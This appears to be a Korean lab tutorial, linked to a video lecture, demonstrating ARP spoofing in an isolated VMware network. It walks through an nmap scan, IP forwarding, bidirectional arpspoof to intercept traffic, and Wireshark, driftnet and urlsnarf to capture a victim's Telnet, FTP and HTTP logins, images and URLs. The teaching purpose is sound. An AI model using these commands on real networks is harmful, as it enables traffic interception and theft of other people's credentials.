공격툴&정보수집 - 03. ARP 프로토콜 & ARP Spoofing 공격

공격툴&정보수집 - 03. ARP 프로토콜 & ARP Spoofing 공격

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

Ex1) ARP 동작 확인 및 캡처

 

@ CentOS

 

 - ARP 테이블 초기화 및 확인

 

[root@CentOS /root]# arp -d 192.168.20.201
[root@CentOS /root]# arp -a

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> 랜-카드 start 클릭)

 

[root@CentOS /root]# wireshark &

 

 

 - Window2008(192.168.20.201)로 Ping 테스트 실시

 

[root@CentOS /root]# ping -c 1 192.168.20.201
PING 192.168.20.201 (192.168.20.201) 56(84) bytes of data.
64 bytes from 192.168.20.201: icmp_seq=1 ttl=128 time=2.81 ms

 

--- 192.168.20.201 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.816/2.816/2.816/0.000 ms

 

 

 - ARP 테이블 확인 및 캡처 내용 확인

 

[root@CentOS /root]# arp -a
win2008 (192.168.20.201) at 00:0C:29:3E:92:78 [ether] on eth0

 

 

[CentOS ARP 패켓 캡처 내용]

 

 

 

 - 와이어샤크 캡처 중지

 

 

@ Window2008

 

 - ARP 테이블 초기화 및 확인

 

C:\Users\Administrator>arp -d

C:\Users\Administrator>arp -a
ARP 항목을 찾을 수 없습니다.

 

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> eth0 start 클릭)

 

 

 - CentOS(192.168.20.200)로 Ping 테스트 실시

 

C:\Users\Administrator>ping -n 1 192.168.20.200

Ping 192.168.20.200 32바이트 데이터 사용:
192.168.20.200의 응답: 바이트=32 시간=1ms TTL=64

 

192.168.20.200에 대한 Ping 통계:
    패킷: 보냄 = 1, 받음 = 1, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 1ms, 최대 = 1ms, 평균 = 1ms

 

 

 - ARP 테이블 확인 및 캡처 내용 확인

 
C:\Users\Administrator>arp -a

인터페이스: 192.168.20.201 --- 0xb
  인터넷 주소           물리적 주소           유형
  192.168.20.200        00-0c-29-72-28-7c     동적

 

 

 

 

 

Ex2) ARP 스푸핑 공격 I

 

<- ARP 스푸핑                 ARP 스푸핑 ->    CentOS---------------------Kali Linux---------------------Window2008    eth0                              eth1                               nic    192.168.20.200                 192.168.20.50                   192.168.20.201    00:0C:29:72:28:7C              00:0c:29:d8:84:1c               00-0C-29-3E-92-78

 

 

@ CentOS, Window2008

 

 - CentOS, Window2008 ARP 정보 삭제

 

[root@CentOS /root]# arp -d 192.168.20.201

 

C:\Users\Administrator>arp -d

 

 

@ Kali Linux

 

 - 'nmap'을 이용하여 같은 서브넷 환경의 시스템 및 서비스 목록을 확인한다.

 

root@kali:~# nmap -F 192.168.20.0/24

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-05-23 15:50 KST
Nmap scan report for 192.168.20.100
Host is up (0.00040s latency).
Not shown: 98 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 00:0C:29:50:8A:69 (VMware)

 

Nmap scan report for 192.168.20.200
Host is up (0.00049s latency).
Not shown: 88 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
23/tcp  open  telnet
25/tcp  open  smtp
53/tcp  open  domain
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
443/tcp open  https
993/tcp open  imaps
995/tcp open  pop3s
MAC Address: 00:0C:29:72:28:7C (VMware)

 

Nmap scan report for 192.168.20.201
Host is up (0.00034s latency).
Not shown: 90 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
MAC Address: 00:0C:29:3E:92:78 (VMware)

 

Nmap scan report for 192.168.20.50
Host is up (0.000017s latency).
All 100 scanned ports on 192.168.20.50 are closed

Nmap done: 256 IP addresses (4 hosts up) scanned in 12.27 seconds

 

 

 - IPv4 Forwarding 기능을 임시적으로 ON 실시

 

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
1

 

 

 - 와이어샤크 실행 및 캡처 실행(Capture -> Interfaces -> eth1 start 클릭)

 

root@kali:~# wireshark &

 

 

 -  ARP 스푸핑 실시

 

(터미널1)

root@kali:~# arpspoof -i eth1 -t 192.168.20.200 192.168.20.201

0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c

~ 중간 생략 ~

 

(터미널2)

root@kali:~# arpspoof -i eth1 -t 192.168.20.201 192.168.20.200

0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c

~ 중간 생략 ~

 

 - 와이어샤크 캡처 내용 확인 (Filter : arp)

 

[ARP 스푸핑 공격 패켓]

 

 

 

@ Window2008

 

 - Window2008에서 CentOS(192.168.20.200)으로 Telnet, FTP 접속 테스트 실시

 

C:\Users\Administrator>telnet 192.168.20.200

    CentOS.example.com (Linux release 2.6.18-371.el5 #1 SMP Tue Oct 1 08:35:08
 EDT 2013) (3)

login: root
Password:
Last login: Tue May 24 01:37:00 from win2008
You have new mail.
[~]#
[~]#  exit

호스트에 대한 연결을 잃었습니다.

C:\Users\Administrator>

 

 

C:\Users\Administrator>ftp 192.168.20.200
192.168.20.200에 연결되었습니다.
220 (vsFTPd 2.0.5)
사용자(192.168.20.200:(none)): root
331 Please specify the password.
암호:
230 Login successful.
ftp>
ftp> quit
221 Goodbye.

C:\Users\Administrator>

 

 

@ CentOS, Window2008

 

 - CentOS, Window2008 ARP 정보 확인  Kali Linux MAC : 00:0C:29:D8:84:1C)

 

[root@CentOS /root]# arp -a
win2008 (192.168.20.201) at 00:0C:29:D8:84:1C [ether] on eth0
? (192.168.20.50) at 00:0C:29:D8:84:1C [ether] on eth0

 

C:\Users\Administrator>arp -a

인터페이스: 192.168.20.201 --- 0xb
  인터넷 주소           물리적 주소           유형
  192.168.20.50         00-0c-29-d8-84-1c     동적
  192.168.20.200        00-0c-29-d8-84-1c     동적
  192.168.20.255        ff-ff-ff-ff-ff-ff     정적

 

 

@ Kali Linux

 

 - Kali Linux에서 Window2008에서 CentOS으로 접근하는 Telnet, FTP 캡처 내용을 확인한다.

 

 

[Window2008 -> CentOS Telnet 패켓]

 

 

 

[Window2008 -> CentOS FTP 패켓]

 

 

 

 -  와이어샤크 캡처 중지 및 ARP 스푸핑 해지

 

(터미널1)

0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c

(ctrl+c)

 

(터미널2)

0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c

(ctrl+c)

 

 

 

 

Ex3) ARP 스푸핑 공격 II

 

<- ARP 스푸핑                ARP 스푸핑 ->                         Firewall---------------------Kali Linux---------------------Window2008    eth1                            eth1                               nic    192.168.20.100              192.168.20.50                   192.168.20.201    00:0c:29:50:bA:69           00:0c:29:d8:84:1c               00-0C-29-3E-92-78

 

 

 - Firewall, Window2008 ARP 정보 삭제

 

[root@firewall ~]#  arp -d 192.168.20.201

C:\Users\Administrator>arp -d

 

 

@ Kali Linux

 

 - 와이어샤크 캡처 실행(Capture -> Interfaces -> eth1 start 클릭)

 

root@kali:~# wireshark &

 

 

 -  ARP 스푸핑 실시

 

(터미널1)

root@kali:~# arpspoof -i eth1 -t 192.168.20.100 192.168.20.201

0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:72:28:7c 0806 42: arp reply 192.168.20.201 is-at 0:c:29:d8:84:1c

~ 중간 생략 ~

 

(터미널2)

root@kali:~# arpspoof -i eth1 -t 192.168.20.201 192.168.20.100

0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c
0:c:29:d8:84:1c 0:c:29:3e:92:78 0806 42: arp reply 192.168.20.200 is-at 0:c:29:d8:84:1c

~ 중간 생략 ~

 

 

@ Window2008

 

 - KT DNS로 Ping 테스트 실시

 

C:\Users\Administrator>ping 168.126.63.1

Ping 168.126.63.1 32바이트 데이터 사용:
168.126.63.1의 응답: 바이트=32 시간=10ms TTL=128
168.126.63.1의 응답: 바이트=32 시간=5ms TTL=128
168.126.63.1의 응답: 바이트=32 시간=15ms TTL=128
168.126.63.1의 응답: 바이트=32 시간=10ms TTL=128

168.126.63.1에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 5ms, 최대 = 15ms, 평균 = 10ms

 

 

 - ARP 테이블 확인

 

C:\Users\Administrator>arp -a

인터페이스: 192.168.20.201 --- 0xb
  인터넷 주소           물리적 주소           유형
  192.168.20.100        00-0c-29-d8-84-1c     동적

 

 

@ Kali Linux

 

  - 와어어샤크 캡처 내용 확인

 

 

[Window2008 -> '168.126.63.1' ICMP 패켓]

 

 

 

 

Ex4) ARP 스푸핑을 이용한 ID/PWD 해킹

 

@ Window2008

 

 - 보안이 취약한 웹-사이트 접속 실시

 - 'http://certcollection.org/index.html' 접속 이후, 'abcd/abcd1234'로 로그인 실시

 

 

@ Kali Linux

 

 - 와이어샤크 캡처 내용 확인

 

Filter : http -> Ctrl + F ->  String, Packet Bystes 체크 -> 'abcd' -> 찾기 클릭

 

 

 

로그인 ID/PWD 확인

 

 

 

 

 - 와이어샤크 캡처 이미지 저장 실시

 

  File -> Export Objects -> HTTP 클릭 -> Sava All

 

 

 

  바탕화면 -> 이름 'HTTP Capture' -> 확인

 

 

이미지 저장 확인

 

 

 

 

Ex5) ARP 스푸핑을 이용한 이미지 및 URL 실시간 해킹

 

@ Kali Linux

 

(터미널3)

root@kali:~# driftnet -i eth0

 

 

(터미널4)

root@kali:~# urlsnarf -i eth0

 

 

 

 

@ Window2008

 

 - Window2008에서 크롬을 실행하여 구글에서 이미지 검색을 실시한다.

 - Ex) 'nba' 이미지 검색 -> 클릭 몇번 실시

 

 

@ Kali Linux

 

 - 'driftnet' 창 크기를 좀 크게 하여, Window2008에서 구글 검색 이미지를 확인한다.

 

 

 

 - 터미널 1~4에서 실행한 공격 툴 중지 (ctrl+c)

 

 

 - 와이어샤크 캡처 중지

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

공격툴&정보수집 - 제3장 ARP 프로토콜 & ARP Spoofing 공격   https://youtu.be/TWZLrX7UVzw